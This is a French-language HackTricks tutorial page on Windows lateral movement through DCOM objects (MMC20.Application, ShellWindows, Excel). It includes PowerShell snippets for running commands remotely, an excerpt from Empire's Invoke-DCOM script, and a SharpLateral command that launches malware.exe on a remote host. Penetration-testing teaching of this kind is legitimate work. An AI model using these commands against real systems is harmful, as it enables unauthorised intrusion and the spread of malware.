DCOM Exec

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Groupe de sécurité Try Hard


MMC20.Application

Pour plus d'informations sur cette technique, consultez l'article original sur https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/

Le modèle d'objet de composant distribué (DCOM) présente une capacité intéressante pour les interactions basées sur le réseau avec des objets. Microsoft fournit une documentation complète pour à la fois DCOM et le modèle d'objet de composant (COM), accessible ici pour DCOM et ici pour COM. Une liste des applications DCOM peut être récupérée en utilisant la commande PowerShell :

Get-CimInstance Win32_DCOMApplication

L'objet COM, Classe d'application MMC (MMC20.Application), permet le scriptage des opérations de module enfichable MMC. Notamment, cet objet contient une méthode ExecuteShellCommand sous Document.ActiveView. Plus d'informations sur cette méthode peuvent être trouvées ici. Vérifiez en exécutant :

Cette fonctionnalité facilite l'exécution de commandes sur un réseau via une application DCOM. Pour interagir avec DCOM à distance en tant qu'administrateur, PowerShell peut être utilisé comme suit :

[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))

Ce commandement se connecte à l'application DCOM et renvoie une instance de l'objet COM. La méthode ExecuteShellCommand peut ensuite être invoquée pour exécuter un processus sur l'hôte distant. Le processus implique les étapes suivantes:

Vérifier les méthodes:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member

Obtenir un accès à distance (RCE) :

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member

# Then just run something like:

ls \\10.10.10.10\c$\Users

ShellWindows & ShellBrowserWindow

Pour plus d'informations sur cette technique, consultez l'article original https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/

L'objet MMC20.Application a été identifié comme manquant de "LaunchPermissions" explicites, se basant sur des autorisations permettant l'accès aux administrateurs par défaut. Pour plus de détails, un fil de discussion peut être exploré ici, et l'utilisation de @tiraniddo OleView .NET pour filtrer les objets sans autorisation de lancement explicite est recommandée.

Deux objets spécifiques, ShellBrowserWindow et ShellWindows, ont été mis en avant en raison de leur absence d'autorisations de lancement explicites. L'absence d'une entrée de registre LaunchPermission sous HKCR:\AppID\{guid} signifie l'absence d'autorisations explicites.

ShellWindows

Pour ShellWindows, qui ne possède pas de ProgID, les méthodes .NET Type.GetTypeFromCLSID et Activator.CreateInstance facilitent l'instanciation de l'objet en utilisant son AppID. Ce processus exploite OleView .NET pour récupérer le CLSID de ShellWindows. Une fois instancié, l'interaction est possible via la méthode WindowsShell.Item, permettant l'invocation de méthodes telles que Document.Application.ShellExecute.

Des commandes PowerShell d'exemple ont été fournies pour instancier l'objet et exécuter des commandes à distance:

$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)

Mouvement latéral avec les objets DCOM Excel

Le mouvement latéral peut être réalisé en exploitant les objets DCOM Excel. Pour des informations détaillées, il est conseillé de lire la discussion sur l'utilisation de Excel DDE pour le mouvement latéral via DCOM sur le blog de Cybereason.

Le projet Empire fournit un script PowerShell, qui démontre l'utilisation de Excel pour l'exécution de code à distance (RCE) en manipulant des objets DCOM. Ci-dessous des extraits du script disponible sur le dépôt GitHub d'Empire, présentant différentes méthodes pour abuser de Excel pour le RCE:

# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}

Outils d'automatisation pour le Mouvement Latéral

Deux outils sont mis en avant pour automatiser ces techniques :

  • Invoke-DCOM.ps1 : Un script PowerShell fourni par le projet Empire qui simplifie l'invocation de différentes méthodes pour exécuter du code sur des machines distantes. Ce script est accessible dans le dépôt GitHub d'Empire.

  • SharpLateral : Un outil conçu pour exécuter du code à distance, qui peut être utilisé avec la commande :

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Outils Automatiques

  • Le script Powershell Invoke-DCOM.ps1 permet d'invoquer facilement toutes les méthodes commentées pour exécuter du code sur d'autres machines.

  • Vous pourriez également utiliser SharpLateral:

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Références

Groupe de sécurité Try Hard

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Dernière mise à jour